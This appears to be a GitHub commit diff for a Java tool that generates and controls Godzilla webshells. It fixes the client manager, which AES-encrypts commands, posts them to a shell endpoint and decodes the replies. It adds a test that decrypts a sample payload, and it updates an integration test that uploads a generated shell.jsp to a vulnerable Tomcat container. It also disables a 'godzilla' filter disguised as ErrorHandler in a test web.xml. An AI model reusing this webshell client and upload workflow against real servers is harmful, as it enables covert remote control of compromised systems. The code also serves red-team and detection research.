Skip to content

Commit 272188a

Browse files
committed
fix: godzilla manager test failed
1 parent 957566f commit 272188a

File tree

4 files changed

+50
-32
lines changed

4 files changed

+50
-32
lines changed

generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java

Lines changed: 29 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@
2929
public class GodzillaManager implements Closeable {
3030
private final OkHttpClient client;
3131
private static final List<String> CLASS_NAMES;
32-
private String J_SESSION_ID = "";
32+
private String cookie = "";
3333
private String entrypoint;
3434
private String key;
3535
private String pass;
@@ -96,18 +96,18 @@ public GodzillaManager() {
9696
}
9797

9898
private Response post(byte[] bytes) throws IOException {
99-
byte[] aes = aes(bytes, true);
99+
byte[] aes = aes(this.key, bytes, true);
100100
assert aes != null;
101101
String base64String = Base64.encodeBase64String(aes);
102102
RequestBody requestBody = new FormBody.Builder()
103-
.add("pass", base64String)
103+
.add(this.pass, base64String)
104104
.build();
105105
Request.Builder builder = new Request.Builder()
106106
.url(this.entrypoint)
107107
.post(requestBody)
108108
.headers(Headers.of(this.headers));
109-
if (StringUtils.isNotBlank(J_SESSION_ID)) {
110-
builder.header("Cookie", J_SESSION_ID);
109+
if (StringUtils.isNotBlank(cookie)) {
110+
builder.header("Cookie", cookie);
111111
}
112112
return client.newCall(builder.build()).execute();
113113
}
@@ -128,7 +128,7 @@ public boolean start() {
128128
try (Response response = post(bytes)) {
129129
String setCookie = response.header("Set-Cookie");
130130
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
131-
J_SESSION_ID = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
131+
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
132132
}
133133
return response.code() == 200;
134134
} catch (IOException e) {
@@ -148,7 +148,6 @@ public boolean test() {
148148
}
149149
return false;
150150
} catch (IOException e) {
151-
e.printStackTrace();
152151
return false;
153152
}
154153
}
@@ -172,39 +171,48 @@ public void close() throws IOException {
172171
* @param encoding 是否为加密,true 为加密,false 解密
173172
* @return 返回加解密后的字节数组
174173
*/
175-
public byte[] aes(byte[] bytes, boolean encoding) {
176-
System.out.println(key);
174+
public static byte[] aes(String key, byte[] bytes, boolean encoding) {
177175
try {
178176
Cipher c = Cipher.getInstance("AES");
179-
c.init(encoding ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
177+
c.init(encoding ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
180178
return c.doFinal(bytes);
181179
} catch (Exception e) {
182-
e.printStackTrace();
183-
return null;
180+
return new byte[0];
184181
}
185182
}
186183

187184
private boolean isValidResponse(String response) {
188185
if (StringUtils.isEmpty(response)) {
189186
return false;
190187
}
191-
return response.startsWith(md5.substring(0, 16)) && response.endsWith(md5.substring(16));
188+
return response.length() > 32 && response.startsWith(md5.substring(0, 16)) && response.endsWith(md5.substring(16));
192189
}
193190

194191
public String getResultFromRes(String responseBody) throws IOException {
192+
if (!isValidResponse(responseBody)) {
193+
return responseBody;
194+
}
195195
String result = responseBody.substring(16);
196196
result = result.substring(0, result.length() - 16);
197197
byte[] bytes = Base64.decodeBase64(result);
198-
byte[] x = aes(bytes, false);
198+
byte[] x = aes(this.key, bytes, false);
199199
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
200200
return IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8);
201201
}
202202

203-
Map<String, String> restorePayload(String payload) throws IOException {
204-
String p = URLDecoder.decode(payload, "UTF-8");
203+
public static Map<String, String> restorePayload(String key, String payload) {
204+
String p = payload;
205+
try {
206+
String urlDecoded = URLDecoder.decode(payload, "UTF-8");
207+
if (StringUtils.isNoneBlank(urlDecoded)) {
208+
p = urlDecoded;
209+
}
210+
} catch (UnsupportedEncodingException ignored) {
211+
212+
}
205213
Map<String, String> map = new HashMap<>();
206214
byte[] bytes = Base64.decodeBase64(p);
207-
byte[] x = aes(bytes, false);
215+
byte[] x = aes(key, bytes, false);
208216
ByteArrayInputStream tStream = new ByteArrayInputStream(x);
209217
ByteArrayOutputStream tp = new ByteArrayOutputStream();
210218
byte[] lenB = new byte[4];
@@ -215,16 +223,16 @@ Map<String, String> restorePayload(String payload) throws IOException {
215223
byte t = (byte) inputStream.read();
216224
if (t != -1) {
217225
if (t == 2) {
218-
String key = tp.toString();
219-
int read1 = inputStream.read(lenB);
226+
String dataKey = tp.toString();
227+
inputStream.read(lenB);
220228
int len = bytesToInt(lenB);
221229
byte[] data = new byte[len];
222230
int readOneLen = 0;
223231
do {
224232
read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen);
225233
readOneLen = read;
226234
} while (read < data.length);
227-
map.put(key, new String(data));
235+
map.put(dataKey, new String(data));
228236
tp.reset();
229237
} else {
230238
tp.write(t);
@@ -249,7 +257,7 @@ public static int bytesToInt(byte[] bytes) {
249257
private byte[] generateMethodCallBytes(String methodName) {
250258
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
251259
try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStream);) {
252-
byte[] value = "close".getBytes();
260+
byte[] value = methodName.getBytes();
253261
gzipOutputStream.write("methodName".getBytes());
254262
gzipOutputStream.write(2);
255263
gzipOutputStream.write(intToBytes(value.length));

generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@
33
import com.reajason.javaweb.util.ClassUtils;
44
import org.junit.jupiter.api.Test;
55

6+
import java.util.Map;
7+
68
import static org.junit.jupiter.api.Assertions.*;
79

810
/**
@@ -18,4 +20,12 @@ void generateGodzilla() {
1820
System.out.println(o.getClass().getName());
1921
assertNotNull(o);
2022
}
23+
24+
@Test
25+
void testRestorePayload(){
26+
String payload = "k2qs7l3%2F4ZZaGyyrfpBQGg0dXGM%2BFVFxzmCWLnyFEgoPSpSjHre4o1HBHTCFnNDX";
27+
String key = "d8ea7326e6ec5916";
28+
Map<String, String> map = GodzillaManager.restorePayload(key, payload);
29+
assertEquals("test", map.get("methodName"));
30+
}
2131
}

generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/TomcatGodzillaIntegrationTest.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -52,8 +52,8 @@ private DynamicTest createCustomContainerTest(String imageName) {
5252
int port = container.getMappedPort(8080);
5353
String url = "http://" + host + ":" + port + "/app";
5454
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
55-
.pass("pass").key("key")
56-
.headerName("User-Agent").headerValue("test")
55+
.pass("pass123").key("key123")
56+
.headerName("User-Agent").headerValue("hello_integration_test")
5757
.build();
5858
String jspContent = generateGodzillaFilterJsp(shellConfig);
5959
String filename = "shell.jsp";
@@ -99,7 +99,7 @@ private void uploadJspFileToServer(String uploadUrl, String filename, String fil
9999
}
100100

101101
private void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
102-
try (GodzillaManager godzillaManager = new GodzillaManager.GodzillaManagerBuilder()
102+
try (GodzillaManager godzillaManager = GodzillaManager.builder()
103103
.entrypoint(entrypoint)
104104
.pass(shellConfig.getPass())
105105
.key(shellConfig.getKey())

vul-webapp/src/main/webapp/WEB-INF/web.xml

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -24,12 +24,12 @@
2424
<url-pattern>/upload</url-pattern>
2525
</servlet-mapping>
2626

27-
<filter>
28-
<filter-name>godzilla</filter-name>
29-
<filter-class>ErrorHandler</filter-class>
30-
</filter>
31-
<filter-mapping>
32-
<filter-name>godzilla</filter-name>
33-
<url-pattern>/test_filter</url-pattern>
34-
</filter-mapping>
27+
<!-- <filter>-->
28+
<!-- <filter-name>godzilla</filter-name>-->
29+
<!-- <filter-class>ErrorHandler</filter-class>-->
30+
<!-- </filter>-->
31+
<!-- <filter-mapping>-->
32+
<!-- <filter-name>godzilla</filter-name>-->
33+
<!-- <url-pattern>/test_filter</url-pattern>-->
34+
<!-- </filter-mapping>-->
3535
</web-app>

0 commit comments

Comments
 (0)